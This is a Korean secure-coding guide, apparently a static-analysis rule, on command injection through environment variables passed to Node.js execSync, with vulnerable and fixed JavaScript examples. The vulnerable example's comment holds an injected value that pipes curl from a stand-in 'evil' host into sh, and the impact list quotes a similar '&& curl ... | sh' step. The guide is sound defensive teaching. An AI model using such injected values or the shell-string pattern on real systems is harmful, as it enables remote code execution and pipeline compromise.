설명
환경 변수나 실행 경로를 포함한 동적 문자열을 child_process.exec 또는 execSync에 넘기면 셸이 공백, 따옴표, 세미콜론이나 &&를 해석합니다. 공격자가 CI/CD 변수, .env 파일이나 사용되는 경로를 제어할 수 있을 때 명령의 의미가 바뀌거나 추가 명령이 실행될 수 있습니다. 환경 값을 사용한다는 사실만으로 공격자가 그 값을 제어할 수 있는 것은 아닙니다.
잠재적 영향
- 임의 명령 실행: 셸 해석을 통해 추가 명령(예: && curl ... | sh)이 실행될 수 있습니다.
- 데이터 손상/삭제: rm, tar 등 파일 조작 명령의 인자 조작으로 중요 데이터가 삭제/변조될 수 있습니다.
- 빌드/배포 파이프라인 탈취: CI 변수/스크립트에서 악성 명령이 실행되어 공급망 공격으로 이어질 수 있습니다.
- 권한 상승/정보 유출: 고권한 컨텍스트에서 실행 시 시스템 정보/자격증명 유출 또는 권한 상승 가능.
해결 방법
- 실행 파일은 신뢰하는 절대 경로로 고정하고, 인자를 배열로 분리해
execFile,execFileSync또는spawn의shell: false로 전달하세요. - 환경 값의 타입, 허용 문자와 길이를 검증하세요. 셸을 없애도 대상 프로그램의 옵션 해석은 남으므로 필요한 경우 옵션 끝을 표시하세요.
- 파일명만 받거나 승인된 경로로 매핑하세요. 경로 정규화와 접두사 비교만으로 심볼릭 링크를 통한 디렉터리 이탈까지 막을 수는 없습니다.
- 백업 디렉터리와 대상 파일을 신뢰하지 않는 사용자가 변경하지 못하게 하고, 기존 파일 덮어쓰기와 링크 처리 정책을 정하세요.
- CI/CD 설정과 실행 환경을 보호하고, 비밀정보를 로그에 남기지 마세요. 프로세스 권한과 전달할 환경 변수를 최소화하세요.
예시
변경 전
javascript
const cp = require("child_process");
// 비준수: 환경 변수로 만든 전체 명령 문자열을 execSync에 전달
function makeBackup() {
const target = process.env.BACKUP_FILE; // 예: "backup.tgz; curl http://evil|sh"
const cmd = `tar -czf ${target} ./data`;
cp.execSync(cmd); // 셸 해석으로 인해 임의 명령 실행 위험
}
makeBackup();
변경 후
javascript
const cp = require("child_process");
const path = require("path");
// 준수: 명령과 인자를 분리하고, 경로 검증 적용
function makeBackupSafe() {
const baseDir = "/var/backups";
const rawName = process.env.BACKUP_FILE || "backup.tgz";
if (!/^[a-zA-Z0-9][a-zA-Z0-9._-]{0,99}$/.test(rawName)) {
throw new Error("Invalid backup filename");
}
const dest = path.resolve(baseDir, rawName);
if (!dest.startsWith(baseDir + path.sep)) {
throw new Error("Invalid backup path");
}
// 셸을 사용하지 않고 인자 배열로 실행
cp.execFileSync("/bin/tar", ["-czf", dest, "./data"], { shell: false });
}
makeBackupSafe();
변경 전에는 BACKUP_FILE이 셸 명령 문자열의 일부입니다. 변경 후에는 허용된 파일명만 받고 고정된 /bin/tar에 인자를 분리해 전달합니다. 이 예시는 셸 해석과 문자열 경로 이탈을 제한하지만 파일시스템 링크나 덮어쓰기를 제어하지 않습니다. 신뢰하는 백업 디렉터리, 대상 파일과 작업 디렉터리를 준비하고 오류를 처리하세요.